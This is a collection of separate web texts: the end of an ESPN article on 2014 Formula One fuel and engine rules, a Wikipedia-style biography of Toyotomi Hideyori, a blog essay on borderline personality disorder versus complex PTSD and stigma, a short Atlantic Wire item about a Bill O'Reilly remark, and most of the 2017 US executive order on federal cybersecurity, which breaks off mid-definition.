Renault Enlarge In 2014 drivers will be limited to 100kg of fuel per race rather than the 160kg typically used in 2013, which could see cars going into fuel saving mode by driving at reduced power. Add to that the complexity of the differing advances in turbo technology and ERS between manufacturers, and freezing a level playing field could be tricky. Whitmarsh has urged the teams and engine manufacturers to work together for the good of the sport to ensure that manufacturers that fall behind do not pull out. "I think one of the concerns for the sport is that it becomes a powertrain race," Whitmarsh added. "We are mindful of the fact that we currently have three and will shortly have four auto manufacturers. If one of those manufacturers doesn't do a good enough job at the start of next year, and doesn't have the scope by which they can become competitive, then there's a pretty good chance they won't be in Formula One for very long, which wouldn't be good for the sport. "There is lots of speculation over who will have the most competitive engine next year, we'll see. But I think the sport has got to act responsibly. We must manage the situation to retain as many OEMs [Original Equipment Manufacturers] in the sport as we can; they bring a lot of money and they bring a lot of stability to the sport. We have to make sure we act sensibly and that the teams feel the engine manufacturers can provide a level playing field." © ESPN Sports Media Ltd. |
In this Japanese name , the family name is Toyotomi. Marker at the location of suicide of Hideyori and Yodo-dono, Osaka Castle Toyotomi Hideyori (豊臣 秀頼, born September 8, 1593, precise time and place of death debated) was the son and designated successor of Toyotomi Hideyoshi, the general who first united all of Japan. His mother, Yodo-dono, was the niece of Oda Nobunaga. Early life [ edit ] When Hideyoshi died in 1598, the five regents he had appointed to rule in Hideyori's place began jockeying amongst themselves for power. Tokugawa Ieyasu seized control in 1600, after his victory over the others at the Battle of Sekigahara. Hideyori's arranged marriage to Senhime, the seven-year-old granddaughter of Ieyasu, was designed to mitigate Toyotomi clan dissension and plotting.[1] In this period, the eight-year-old boy practiced calligraphy with phrases wishing for peace throughout the world.[2] However, Ieyasu continued to view the young Hideyori as a potential threat. Tokugawa forces attacked Hideyori in the Siege of Osaka in the winter of 1614. The attack failed, but Hideyori was induced to sign a truce and dismantle the defenses of his stronghold at Osaka Castle. War with Ieyasu [ edit ] In April 1615, Ieyasu received word that Toyotomi Hideyori was gathering even more troops than in the previous November, and that he was trying to stop the filling of the moat of Osaka Castle. Toyotomi forces (often called the Western Army) began to attack contingents of the shōgun's forces (the Eastern Army) near Osaka. On June 5, 1615, as Toyotomi's forces began to lose the battle, a smaller force led directly by Hideyori sallied forth from Osaka Castle too late, and was chased right back into the castle by the advancing enemies. There was no time to set up a proper defense of the castle, and it was soon set ablaze and pummeled by artillery fire. Hideyori and his mother committed seppuku, and the final major uprising against Tokugawa rule for another 250 or so years was put to an end. His widow remarried but later became a Buddhist nun. According to James Murdoch's A History of Japan During The Century of Early Foreign Discourse,[3] based heavily upon the works of many Japanese sources (the Nihon Shoki, Miyoshi-Ki, and many more) as well as heavily based on the writings of the Jesuits, their annual letters, the letters of Will Adams and the diaries of Adams' Dutch comrades, the events of Hideyori's death and the final fall of Osaka Castle were as such – Sanada Yukimura had been tactician of the climactic battle outside the gates of Osaka. Recognizing that they had a serious numerical disadvantage, they decided to attempt a tactic of inducing surprise and confusion in the Tokugawa camp. This was to be effected by first, Osaka captain Akashi Morishige getting behind the Tokugawa van, which would then be taken with Akashi's surprise attack, fall on Akashi, allowing Sanada with his troops and Mōri Katsunaga, who was in charge of the Osaka rōnin, to fall into the Tokugawa front. When the confusion was to be at its height, Hideyori would have marched out of Osaka castle with his home troops and would in theory be the final blow to the Tokugawas. What happened, according to Murdoch, was that Akashi was not able to get behind the Tokugawa troops, having been discovered and engaged before he emerged from the lanes. The plans fell apart as Mōri's rōnin, ever eager to fight, began shooting at the Tokugawa ranks, not waiting for Sanada (who was serving as Commander of the battle, in addition to being the tactician of the battle) to command them to do so. Sanada at once told the rōnin to stop but they only doubled their efforts. Mori Katsunaga, deciding to take advantage of his rōnin's eagerness, then decided to launch them forward nevertheless. Upon this, Sanada realized in order to keep any structure of his original plan, he too, would need to engage alongside the rōnin. He decided then to launch himself alongside Katsunaga's force, straight into the Tokugawas, while dispatching a messenger to Hideyori to march out at that very moment instead of a bit further on as had been decided in the plan. Hideyori began moving with his troops to leave Osaka. Meanwhile, the Osaka troops had been doing quite well in spite of the numerical disadvantage. It has even been said, in Murdoch's book, as he goes to show in an extract from a missionaries letter regarding the event (and it should be noted, there were several inside Osaka castle at this point) that the Osaka assault was actually quite successful and drove the Tokugawa back quite promptly. The plan of creating Tokugawa confusion worked and according to the Jesuits, Ieyasu himself, serving as the ultimate reinforcement to the center force, had told his men to kill him if victory seemed for nigh. Not only did the Jesuits write this, but, in another account, Murdoch states that Ieyasu had at least for some time had designs of seppuku because victory seemed to be escaping him. According to Siebold, at this critical moment, as Hideyori was leaving Osaka to enter the fray, Ieyasu sent forth into Osaka the son of Osaka captain Ōno Harunaga who had been a hostage to the Tokugawa. Ono Harunaga's son entered the castle and immediately dispatched a letter from Tokugawa to his father. The letter said "Do not let Hideyori leave the castle. In the castle is a conspiracy and as soon as Hideyori leaves it he will be attacked from the rear." It is because of this letter, according to Siebold, that Hideyori's portion of the plan miscarried. He was just about to leave when he was brought word of its contents, and at this point, stalled in entering the fray. Eventually, despite the ferocity and initial victories of the Osaka troops, the numerical advantage of the Tokugawa forces proved too much. According to the Nihon Senshi: "Hideyori, when he received intelligence of the defeat of his rōnin, said, "Death is what I have been ready to meet for long", and was about to sally from the castle in order to fight his very last battle when he was stopped by Hayami, one of his seven captains, who urged that a commander-in-chief should not expose his person among the promiscuous dead. Let Hideyori defend the castle to the last; when it fell, it would be time to take a decision!" And amidst the ensuing chaos, Hideyori fell back. The castle was fired and general chaos ensued. This Hayami, one of his seven captain's, eventually lead Hideyori, his wife, the daughter of the shōgun and granddaughter of Ieyasu, and his mother, Yodogimi to a fire proof keep in the castle. From here, Hideyori's wife, the daughter of the shōgun, left to beg of her father and grand father to spare Hideyori. According to Murdoch, when she finally reached the shōgun, Hidetada, he had remarked coldly to her, "Why don't you die with your husband?" which was customary. However, Ieyasu feigned compassion and instructed Tokugawa captains Ii and Ando to see to Hideyori's safe retreat. Hideyori, however, remained in the fire-proof keep with his mother and, having sent dispatches to Ieyasu and Hidetada, waited for a response. He was given none and, upon his fire-proof keep being fired upon by the forces of Ii and Ando, allegedly then committed ritual suicide and the keep was destroyed. Although Ii had been tasked with seeing to Hideyori's safe retreat, when, shortly after, Ii had reported the affairs to Ieyasu and told of his exceeding the orders he'd been given and, thereupon asked Ieyasu to punish him accordingly, according to Murdoch's book, Ieyasu merely nodded without saying anything and Ii left Ieyasu's presence. Not but a few weeks later Ii received a raise on his revenue at Hikone, in Omi, the sum going from 180,000 koku to 230,000 koku and still, later on, in 1617 to 280,000 koku. Survival myths [ edit ] Hideyori's actual corpse was never discovered, and a popular rumor persisted that Hideyori had escaped Osaka. The rumors had enough merit to concern the Tokugawa shogunate, according to Murdoch. The matter was serious enough that it found mention in the journals of Cocks, the Dutch comrade of William Adams. The following extracts from Cocks' journal explain the matter at hand: "September 18th, 1616 Capt. Adames went againe to the Cort [at Yedo] to procure our dispatch, and found all the Council busied about matters of justice of life and death; and amongst the rest, one man was brought in question about Fidaia Samme [Hideyori], as being in the castle with him to the last hour. This man was racked and tormented very much, to make him confess where his master was, or whether he were alive or dead; but I cannot hear whether he confessed anything or no." "May 5th, 1616 The son of Tuan Dono of Langasaque [ Nagasaki ] [i.e the brother of the Japanese Jesuit killed at the storming of Osaka], departed to sea with 13 barkes laden with soldiers to take the island Taccasange, called per them soe, but by us Isla Fermosa. And it is reported he is at Goto, staying for more succors which are to come from Miaco, and thought they mean to go for Lequea [Loochoo], to look for Fidaia Samme [Hideyori]." "July 7th, 1616 Speeches given out that the Tono, or King, of Xaxma [ Satsuma ] meaneth to make wars against the new Emperor [Hidetada] in right of Fidaia Samme [Hideyori], whom they report to be alive, and that he meaneth to begyn with Langasaque. This is now the common report." "October 15th, 1616 And it is said Fidaia Samme is alive; but what will come hereof I know not." Hideyori's son, Kunimatsu (age 8) was captured and beheaded; his daughter Naahime (Princess Naa) (age 7) was sent to Tōkei-ji, a convent in Kamakura, where she later became the twentieth abbess Tenshūin (1608–1645). Family tree [ edit ] Family [ edit ] Father: Toyotomi Hideyoshi Mother: Yodo-dono Wife: Senhime Concubines: Icha no Kata Oiwa no Kata, daughter of Narita Goheisukenao Okogo no Tsubone Children: Toyotomi Kunimatsu (1608–1615) by Owaki no Kata Tenshūni ja] Toyotomi Motomaru (d. 1688) by Icha no Kata Toyotomi Tokimaru Notes [ edit ] |
We have seen that if a person has suffered significant and protracted childhood trauma, s/he is at greatly increased risk of being diagnosed, as an adult, with borderline personality disorder (BPD). According to the Diagnostic and Statistical Manual of Mental Disorders (usually abbreviated to DSM), a person diagnosed with BPD must meet at least FIVE of the following nine criteria: 1) Extreme swings in emotions 2) Explosive anger 3) Intense fear of rejection/abandonment sometimes leading to frantic efforts to maintain a relationship 4) Impulsiveness 5) Self-harm 6) Unstable self-concept (not really knowing ‘who one is’) 7) Chronic feelings of ’emptiness‘ (often leading to excessive drinking/eating etc ‘to fill the vacuum’) 8) Dissociation ( a feeling of being ‘disconnected from reality’) 9) Intense and highly volatile relationships NB These symptoms must have been stable characteristics present for at least six months However, some theorists and researchers have pointed out certain problems with defining BPD in this manner and question the validity of the diagnosis; I outline the most serious of these problems below : 1) In order to be diagnosed with BPD, a person need display just five of the above nine symptoms. It logically follows from this that two people could each be diagnosed with five of the above symptoms, yet have only one of those five symptoms in common with one another. In other words, two people could each be manifesting very different symptoms, yet receive identical diagnoses. 2) Stipulating that an individual must have five or more of the above symptoms is essentially arbitrary (why not four or six?). Also, linked to this criticism, there seems to be a third problem with the diagnosis : 3) The third problem is this : a person with four of the above symptoms, even if they were very severe, would have to be (according to the diagnostic criteria) diagnosed as NOT having BPD whereas a person who just manages to be judged to be displaying five symptoms (even if none are as severe as the first person’s four symptoms) WOULD be diagnosed as having BPD. This brings us onto the fourth problem with the diagnosis : 4) In accordance with the diagnostic criteria, an individual is either deemed to HAVE BPD or NOT HAVE BPD. In other words, it is an ‘all or nothing’ diagnosis which doesn’t allow for grey areas. This is ironic as one of the symptoms BPD sufferers are said to show is ‘black and white’ or ‘all or nothing thinking’ (such as seeing others as ‘all good’ or ‘all bad’ but never as anything inbetween). Because of this problem, some critics have suggested that it would be better to view BPD as a ‘spectrum’ disorder, with each individual occupying a specific place on this spectrum (in the way that autism is treated as a spectrum disorder). 5) A diagnosis of BPD does not seem to describe a unique, separate, distinct disorder clearly delineated from other personality disorders ; indeed, many who have been diagnosed with BPD are found to suffer from co-morbid conditions such as antisocial personality disorder and narcissistic disorder In conclusion it should be mentioned that many critics of the BPD diagnosis feel many individuals have been wrongly diagnosed with it (and unnecessarily stigmatized – see below) and should be diagnosed with complex post traumatic stress disorder instead. Indeed, it has been suspected for a while now that many people who have been diagnosed with BPD should really have been diagnosed with a different syndrome known as complex post traumatic stress disorder (Complex PTSD). Whilst simple PTSD typically results from an intense, one- off, traumatic experience, complex PTSD occurs as a result of protracted and prolonged trauma. Complex PTSD is especially likely to occur in cases of child abuse that continued over a long period, especially when the abuser should have been acting as the child’s primary carer(e.g. a parent or step-parent). It has been found that a very high percentage of those diagnosed with BPD experienced severe childhood trauma which is why (amongst other reasons, see below) many experts are now questioning whether a large number of those so diagnosed should, instead, have been diagnosed with Complex PTSD. Complex PTSD is so damaging to an individual as it eats into the very core of how s/he perceives him/herself and affects, on a profound level, how s/he views others and the world in general. In short, it adversely impinges upon a person’s core and fundamental beliefs. Symptoms of Complex PTSD – severe mood swings – out of control emotions – out of control behaviours e.g. shoplifting, pathological gambling, promiscuous and risky sex, severe overspending – dissociation (click here to read my article on this) – eating disorders – overeating/obesity – impaired and distorted view of abuser (leading to emotional attachment). This is also known as Stockholm Syndrome. – marked distrust of others – intense jealousy – extreme neediness – hopelessness/despair – feeling that life is utterly devoid of meaning – inappropriate feelings of guilt/shame/self-disgust – outbursts of extreme anger (sometimes with physical violence) – severe anxiety – suicidal thoughts/behaviour Overlap With BPD Symptoms: It is because these symptoms overlap substantially with the symptoms of BPD (click here) that it is thought many people are being diagnosed with BPD when they should be being diagnosed for Complex PTSD. It is my belief that a main cause of such misdiagnosis is that doctors do not spend enough (or, indeed, any!) time talking to supposed ‘BPD suffers’ about their childhood experiences. Given the choice, I suspect, if there are valid reasons, most people would feel more comfortable with a diagnosis of Complex PSTD than one of BPD. This is because, sadly and wrongly, stigma still tenaciously attaches itself to a diagnosis of BPD. Also, a diagnosis of Complex PTSD implicitly acknowledges the fact that the sufferer has had harm done to him/her and that Complex PTSD is a NORMAL REACTION TO AN ABNORMAL SET OF EXPERIENCES. This could significantly help sufferers cast off, once and for all, the vast weigh of guilt many feel in one fell swoop. If You Feel Your Diagnosis Of BPD Is Correct, Should You Tell Others That You Suffer From It? Deciding whether to tell others about the fact one is suffering from BPD presents a very difficult dilemma: on the one hand, there is the worry of being stigmatized (see below) and discriminated against, and, on the other, there is the possibility that others will become more understanding of one. Because few people, through no fault of their own, are well educated about psychological issues, the decision a sufferer of BPD must make as to whether or not to tell others is one that cannot be taken lightly. However, it need not be an ‘all-or-nothing’ decision: it is obviously possible to tell some people (if reasonably believed to be entirely trustworthy) whilst not telling others; similarly, it is possible to decide how much detail it is necessary (or not) to go into. First of all, let’s look at the possible benefits (and it important to note the word ‘possible’, as they are by no means guaranteed) which might come from telling others: – those told might become more empathetic, understanding and forgiving – those told might feel closer to you as a result – those told might wish to offer some help and support I REPEAT, THOUGH, NONE OF THESE POSITIVE OUTCOMES CAN, IN ANY WAY, BE COUNTED ON: So let’s now consider some possible negative repercussions: – those told may hurt the sufferer further by ‘not wanting to know’ – those told may tell others that the sufferer did not wish them to tell, thus betraying their trust. Then, sadly as we all know, some people have an unlimited capacity to entertain themselves with malicious gossip – the sufferer may be met with discrimination – if the sufferer tells people that s/he has a personality disorder, which carries with it very negative connotations, they may consider the sufferer ‘crazy’ or ‘mad’ due to their lack of knowledge and, conceivably, fear – people told may lose the confidence or motivation to interact with the sufferer further – people may cynically think that the sufferer is trying to provide an excuse for their mistakes It is worth re-emphasizing that, because it is impossible to predict with complete accuracy how another will respond, the decision about what to tell and whom to tell should be given a great deal of thought. THE USEFULNESS OF FIRST GETTING PROFESSIONAL ADVICE AND SUPPORT: It is recommended, very strongly, that anyone suffering from BPD should seek professional therapy. With more and more research being conducted on the condition, positive treatment outcomes for those with BPD are continually increasing in likelihood. Professionals who can help treat BPD, and provide advice and support include: – psychiatrists – psychologists – counsellors – social workers specializing in mental health issues – family therapists – community mental health nurses Such professionals can help the sufferer to come to a decision about considerations which may include: – whether to tell others/whom to tell – any treatment being received/considered – specific symptoms the sufferer experiences which are believed to stem from the condition of BPD – the causes of BPD (particular care is adviseable hear if explaining these to someone the sufferer believes may have contributed to their development of the condition). NB Any decision to inform an employer of one’s condition should definitely only be undertaken once the relevant advice (including legal advice regarding the relevant discrimination laws, which are a mine-field) has been sought. It should be borne in mind that legal disputes with an employer, especially regarding such a sensitive issue as discrimination law, can be extremely stressful and emotionally draining. Finally, it is worth saying that, in general, is easier to discuss the condition with others if one has spent some to researching it. STIGMA As mental illness is dictated by a combination of environmental and genetic factors, it can happen to absolutely anyone. Even individuals a long way into adulthood, who have previously always enjoyed good mental health, can suddenly be plunged into a severe clinical depression by a single traumatic life event. Nobody is immune. Mental illness HAS NOTHING TO DO WITH PERSONAL FAILINGS. However, stigma connected to mental illness is still far from uncommon. Others can stigmatize those of us who have suffered mental illness, and turn their backs in disdain and contempt with a feeling of smug, self-satisfied superiority, due to their lack of education on the matter; also, however, some people who suffer mental illness (having internalized society’s often less than compassionate take on the condition) can, in effect, self-stigmatize: because mental illness often causes negative thinking patterns and feelings of worthlessness, it is all too easy for us to fall into the trap of compounding our suffering by feeling bad about being mentally ill (we may see ourselves as weak, for example). In other words, we may add a kind of additional, unnecessary layer to our distress: feeling bad about ourselves for feeling bad about ourselves, as it were. This has been referred to by some psychologists as METAWORRYING. It is, of course, generally easier to alter the way that we feel about ourselves than it is to change the way others feel about us; ignorance, after all, can have a dispiritingly tenacious quality. Therefore, a good place to start in the fight against stigma is to change how we see ourselves for having experienced mental illness: we need, in short, to stop stigmitizing ourselves. TACKLING STIGMATIZATION BY SOCIETY: Whilst stigmatization by society, as I have said, still, obviously, exists, attitudes are improving all the time with greater public education and more and more individuals, with a prominent public profile, willing to talk openly about their own experience of mental illness (most notably, perhaps, in the UK, the writer, actor and comedian – and probably a lot of other things I can’t currently call to mind – Stephen Fry, who suffers bipolar disorder). Progress has been made in society in relation to racism and homophobia, and, it would seem, there is no obvious reason why similar progress should not be made in relation to society’s attitude towards those unfortunate enough to experience mental illness. THE FIRST STEP: The first step we can all make, as I have suggested, is to stop blaming ourselves, and feeling bad about ourselves, for having suffered psychological difficulties. If you would like to learn more about fighting the stigma surrounding mental illness you may wish to pay a visit to www.shift.org.uk to see what they are doing in their campaign in relation to this. The campaign, for those who are interested, is run by The National Institute for Mental Health, UK. David Hosier BSc Hons; MSc; PGDE(FAHE). Above eBook now available on Amazon for instant download.CLICK HERE. Best wishes, David Hosier BSc Hons; MSc; PGDE(FAHE). Related |
This article is from the archive of our partner . What do Ewoks and transgendered people have in common? They were both the subject of an misguided comparison made by Bill O'Reilly on his show. O'Reilly whipped out this bizarre analogy while discussing a lawsuit against American Eagle with guests Kimberly Guilfoyle and Lis Wiehl. The suit alleged that the popular clothing retailer discriminated against transgendered workers with its employee dress code policy. "If you're a man, you can't dress like a woman, and vice versa," paraphrased O'Reilly. "You can't scare the customers. If your name is Fred, you can't look like Dolly Parton." While Guilfoyle and Wiehl sided with the transgendered community, O'Reilly had more to say on the matter. O'REILLY: "If you owned a clothing corporation, you can say, 'You can dress like an Ewok, if you want" WIEHL: "Ewoks have nothing to do with gender identity, which is what the law says. O'REILLY: "Gender identity...Ewoks have genders too" h/t Newser This article is from the archive of our partner The Wire. We want to hear what you think about this article. Submit a letter to the editor or write to letters@theatlantic.com. |
EXECUTIVE ORDER – – – – – – – STRENGTHENING THE CYBERSECURITY OF FEDERAL NETWORKS AND CRITICAL INFRASTRUCTURE By the authority vested in me as President by the Constitution and the laws of the United States of America, and to protect American innovation and values, it is hereby ordered as follows: Section 1. Cybersecurity of Federal Networks. (a) Policy. The executive branch operates its information technology (IT) on behalf of the American people. Its IT and data should be secured responsibly using all United States Government capabilities. The President will hold heads of executive departments and agencies (agency heads) accountable for managing cybersecurity risk to their enterprises. In addition, because risk management decisions made by agency heads can affect the risk to the executive branch as a whole, and to national security, it is also the policy of the United States to manage cybersecurity risk as an executive branch enterprise. (b) Findings. (i) Cybersecurity risk management comprises the full range of activities undertaken to protect IT and data from unauthorized access and other cyber threats, to maintain awareness of cyber threats, to detect anomalies and incidents adversely affecting IT and data, and to mitigate the impact of, respond to, and recover from incidents. Information sharing facilitates and supports all of these activities. (ii) The executive branch has for too long accepted antiquated and difficult–to-defend IT. (iii) Effective risk management involves more than just protecting IT and data currently in place. It also requires planning so that maintenance, improvements, and modernization occur in a coordinated way and with appropriate regularity. (iv) Known but unmitigated vulnerabilities are among the highest cybersecurity risks faced by executive departments and agencies (agencies). Known vulnerabilities include using operating systems or hardware beyond the vendor’s support lifecycle, declining to implement a vendor’s security patch, or failing to execute security-specific configuration guidance. (v) Effective risk management requires agency heads to lead integrated teams of senior executives with expertise in IT, security, budgeting, acquisition, law, privacy, and human resources. (c) Risk Management. (i) Agency heads will be held accountable by the President for implementing risk management measures commensurate with the risk and magnitude of the harm that would result from unauthorized access, use, disclosure, disruption, modification, or destruction of IT and data. They will also be held accountable by the President for ensuring that cybersecurity risk management processes are aligned with strategic, operational, and budgetary planning processes, in accordance with chapter 35, subchapter II of title 44, United States Code. (ii) Effective immediately, each agency head shall use The Framework for Improving Critical Infrastructure Cybersecurity (the Framework) developed by the National Institute of Standards and Technology, or any successor document, to manage the agency’s cybersecurity risk. Each agency head shall provide a risk management report to the Secretary of Homeland Security and the Director of the Office of Management and Budget (OMB) within 90 days of the date of this order. The risk management report shall: (A) document the risk mitigation and acceptance choices made by each agency head as of the date of this order, including: (1) the strategic, operational, and budgetary considerations that informed those choices; and (2) any accepted risk, including from unmitigated vulnerabilities; and (B) describe the agency’s action plan to implement the Framework. (iii) The Secretary of Homeland Security and the Director of OMB, consistent with chapter 35, subchapter II of title 44, United States Code, shall jointly assess each agency’s risk management report to determine whether the risk mitigation and acceptance choices set forth in the reports are appropriate and sufficient to manage the cybersecurity risk to the executive branch enterprise in the aggregate (the determination). (iv) The Director of OMB, in coordination with the Secretary of Homeland Security, with appropriate support from the Secretary of Commerce and the Administrator of General Services, and within 60 days of receipt of the agency risk management reports outlined in subsection (c)(ii) of this section, shall submit to the President, through the Assistant to the President for Homeland Security and Counterterrorism, the following: (A) the determination; and (B) a plan to: (1) adequately protect the executive branch enterprise, should the determination identify insufficiencies; (2) address immediate unmet budgetary needs necessary to manage risk to the executive branch enterprise; (3) establish a regular process for reassessing and, if appropriate, reissuing the determination, and addressing future, recurring unmet budgetary needs necessary to manage risk to the executive branch enterprise; (4) clarify, reconcile, and reissue, as necessary and to the extent permitted by law, all policies, standards, and guidelines issued by any agency in furtherance of chapter 35, subchapter II of title 44, United States Code, and, as necessary and to the extent permitted by law, issue policies, standards, and guidelines in furtherance of this order; and (5) align these policies, standards, and guidelines with the Framework. (v) The agency risk management reports described in subsection (c)(ii) of this section and the determination and plan described in subsections (c)(iii) and (iv) of this section may be classified in full or in part, as appropriate. (vi) Effective immediately, it is the policy of the executive branch to build and maintain a modern, secure, and more resilient executive branch IT architecture. (A) Agency heads shall show preference in their procurement for shared IT services, to the extent permitted by law, including email, cloud, and cybersecurity services. (B) The Director of the American Technology Council shall coordinate a report to the President from the Secretary of Homeland Security, the Director of OMB, and the Administrator of General Services, in consultation with the Secretary of Commerce, as appropriate, regarding modernization of Federal IT. The report shall: (1) be completed within 90 days of the date of this order; and (2) describe the legal, policy, and budgetary considerations relevant to — as well as the technical feasibility and cost effectiveness, including timelines and milestones, of — transitioning all agencies, or a subset of agencies, to: (aa) one or more consolidated network architectures; and (bb) shared IT services, including email, cloud, and cybersecurity services. (C) The report described in subsection (c)(vi)(B) of this section shall assess the effects of transitioning all agencies, or a subset of agencies, to shared IT services with respect to cybersecurity, including by making recommendations to ensure consistency with section 227 of the Homeland Security Act (6 U.S.C. 148) and compliance with policies and practices issued in accordance with section 3553 of title 44, United States Code. All agency heads shall supply such information concerning their current IT architectures and plans as is necessary to complete this report on time. (vii) For any National Security System, as defined in section 3552(b)(6) of title 44, United States Code, the Secretary of Defense and the Director of National Intelligence, rather than the Secretary of Homeland Security and the Director of OMB, shall implement this order to the maximum extent feasible and appropriate. The Secretary of Defense and the Director of National Intelligence shall provide a report to the Assistant to the President for National Security Affairs and the Assistant to the President for Homeland Security and Counterterrorism describing their implementation of subsection (c) of this section within 150 days of the date of this order. The report described in this subsection shall include a justification for any deviation from the requirements of subsection (c), and may be classified in full or in part, as appropriate. Sec. 2. Cybersecurity of Critical Infrastructure. (a) Policy. It is the policy of the executive branch to use its authorities and capabilities to support the cybersecurity risk management efforts of the owners and operators of the Nation’s critical infrastructure (as defined in section 5195c(e) of title 42, United States Code) (critical infrastructure entities), as appropriate. (b) Support to Critical Infrastructure at Greatest Risk. The Secretary of Homeland Security, in coordination with the Secretary of Defense, the Attorney General, the Director of National Intelligence, the Director of the Federal Bureau of Investigation, the heads of appropriate sector-specific agencies, as defined in Presidential Policy Directive 21 of February 12, 2013 (Critical Infrastructure Security and Resilience) (sector-specific agencies), and all other appropriate agency heads, as identified by the Secretary of Homeland Security, shall: (i) identify authorities and capabilities that agencies could employ to support the cybersecurity efforts of critical infrastructure entities identified pursuant to section 9 of Executive Order 13636 of February 12, 2013 (Improving Critical Infrastructure Cybersecurity), to be at greatest risk of attacks that could reasonably result in catastrophic regional or national effects on public health or safety, economic security, or national security (section 9 entities); (ii) engage section 9 entities and solicit input as appropriate to evaluate whether and how the authorities and capabilities identified pursuant to subsection (b)(i) of this section might be employed to support cybersecurity risk management efforts and any obstacles to doing so; (iii) provide a report to the President, which may be classified in full or in part, as appropriate, through the Assistant to the President for Homeland Security and Counterterrorism, within 180 days of the date of this order, that includes the following: (A) the authorities and capabilities identified pursuant to subsection (b)(i) of this section; (B) the results of the engagement and determination required pursuant to subsection (b)(ii) of this section; and (C) findings and recommendations for better supporting the cybersecurity risk management efforts of section 9 entities; and (iv) provide an updated report to the President on an annual basis thereafter. (c) Supporting Transparency in the Marketplace. The Secretary of Homeland Security, in coordination with the Secretary of Commerce, shall provide a report to the President, through the Assistant to the President for Homeland Security and Counterterrorism, that examines the sufficiency of existing Federal policies and practices to promote appropriate market transparency of cybersecurity risk management practices by critical infrastructure entities, with a focus on publicly traded critical infrastructure entities, within 90 days of the date of this order. (d) Resilience Against Botnets and Other Automated, Distributed Threats. The Secretary of Commerce and the Secretary of Homeland Security shall jointly lead an open and transparent process to identify and promote action by appropriate stakeholders to improve the resilience of the internet and communications ecosystem and to encourage collaboration with the goal of dramatically reducing threats perpetrated by automated and distributed attacks (e.g., botnets). The Secretary of Commerce and the Secretary of Homeland Security shall consult with the Secretary of Defense, the Attorney General, the Director of the Federal Bureau of Investigation, the heads of sector-specific agencies, the Chairs of the Federal Communications Commission and Federal Trade Commission, other interested agency heads, and appropriate stakeholders in carrying out this subsection. Within 240 days of the date of this order, the Secretary of Commerce and the Secretary of Homeland Security shall make publicly available a preliminary report on this effort. Within 1 year of the date of this order, the Secretaries shall submit a final version of this report to the President. (e) Assessment of Electricity Disruption Incident Response Capabilities. The Secretary of Energy and the Secretary of Homeland Security, in consultation with the Director of National Intelligence, with State, local, tribal, and territorial governments, and with others as appropriate, shall jointly assess: (i) the potential scope and duration of a prolonged power outage associated with a significant cyber incident, as defined in Presidential Policy Directive 41 of July 26, 2016 (United States Cyber Incident Coordination), against the United States electric subsector; (ii) the readiness of the United States to manage the consequences of such an incident; and (iii) any gaps or shortcomings in assets or capabilities required to mitigate the consequences of such an incident. The assessment shall be provided to the President, through the Assistant to the President for Homeland Security and Counterterrorism, within 90 days of the date of this order, and may be classified in full or in part, as appropriate. (f) Department of Defense Warfighting Capabilities and Industrial Base. Within 90 days of the date of this order, the Secretary of Defense, the Secretary of Homeland Security, and the Director of the Federal Bureau of Investigation, in coordination with the Director of National Intelligence, shall provide a report to the President, through the Assistant to the President for National Security Affairs and the Assistant to the President for Homeland Security and Counterterrorism, on cybersecurity risks facing the defense industrial base, including its supply chain, and United States military platforms, systems, networks, and capabilities, and recommendations for mitigating these risks. The report may be classified in full or in part, as appropriate. Sec. 3. Cybersecurity for the Nation. (a) Policy. To ensure that the internet remains valuable for future generations, it is the policy of the executive branch to promote an open, interoperable, reliable, and secure internet that fosters efficiency, innovation, communication, and economic prosperity, while respecting privacy and guarding against disruption, fraud, and theft. Further, the United States seeks to support the growth and sustainment of a workforce that is skilled in cybersecurity and related fields as the foundation for achieving our objectives in cyberspace. (b) Deterrence and Protection. Within 90 days of the date of this order, the Secretary of State, the Secretary of the Treasury, the Secretary of Defense, the Attorney General, the Secretary of Commerce, the Secretary of Homeland Security, and the United States Trade Representative, in coordination with the Director of National Intelligence, shall jointly submit a report to the President, through the Assistant to the President for National Security Affairs and the Assistant to the President for Homeland Security and Counterterrorism, on the Nation’s strategic options for deterring adversaries and better protecting the American people from cyber threats. (c) International Cooperation. As a highly connected nation, the United States is especially dependent on a globally secure and resilient internet and must work with allies and other partners toward maintaining the policy set forth in this section. Within 45 days of the date of this order, the Secretary of State, the Secretary of the Treasury, the Secretary of Defense, the Secretary of Commerce, and the Secretary of Homeland Security, in coordination with the Attorney General and the Director of the Federal Bureau of Investigation, shall submit reports to the President on their international cybersecurity priorities, including those concerning investigation, attribution, cyber threat information sharing, response, capacity building, and cooperation. Within 90 days of the submission of the reports, and in coordination with the agency heads listed in this subsection, and any other agency heads as appropriate, the Secretary of State shall provide a report to the President, through the Assistant to the President for Homeland Security and Counterterrorism, documenting an engagement strategy for international cooperation in cybersecurity. (d) Workforce Development. In order to ensure that the United States maintains a long-term cybersecurity advantage: (i) The Secretary of Commerce and the Secretary of Homeland Security, in consultation with the Secretary of Defense, the Secretary of Labor, the Secretary of Education, the Director of the Office of Personnel Management, and other agencies identified jointly by the Secretary of Commerce and the Secretary of Homeland Security, shall: (A) jointly assess the scope and sufficiency of efforts to educate and train the American cybersecurity workforce of the future, including cybersecurity-related education curricula, training, and apprenticeship programs, from primary through higher education; and (B) within 120 days of the date of this order, provide a report to the President, through the Assistant to the President for Homeland Security and Counterterrorism, with findings and recommendations regarding how to support the growth and sustainment of the Nation’s cybersecurity workforce in both the public and private sectors. (ii) The Director of National Intelligence, in consultation with the heads of other agencies identified by the Director of National Intelligence, shall: (A) review the workforce development efforts of potential foreign cyber peers in order to help identify foreign workforce development practices likely to affect long-term United States cybersecurity competitiveness; and (B) within 60 days of the date of this order, provide a report to the President through the Assistant to the President for Homeland Security and Counterterrorism on the findings of the review carried out pursuant to subsection (d)(ii)(A) of this section. (iii) The Secretary of Defense, in coordination with the Secretary of Commerce, the Secretary of Homeland Security, and the Director of National Intelligence, shall: (A) assess the scope and sufficiency of United States efforts to ensure that the United States maintains or increases its advantage in national-security-related cyber capabilities; and (B) within 150 days of the date of this order, provide a report to the President, through the Assistant to the President for Homeland Security and Counterterrorism, with findings and recommendations on the assessment carried out pursuant to subsection (d)(iii)(A) of this section. (iv) The reports described in this subsection may be classified in full or in part, as appropriate. Sec. 4. Definitions. For the purposes of this order: (a) The term “appropriate stakeholders” means any non-executive-branch person or entity that elects to participate in an open and transparent process established by the Secretary of Commerce and the Secretary of Homeland Security under section 2(d) of this order. (b) The term “information technology” (IT) has the meaning given to that term in section 11101(6) of title 40, United States Code, and further includes hardware and software systems of agencies that monitor and control physical equipment and processes. (c) The term “IT architecture” refers to the integration and implementation of IT within an agency. (d) The term “network architecture” refers to the elements of IT architecture that enable 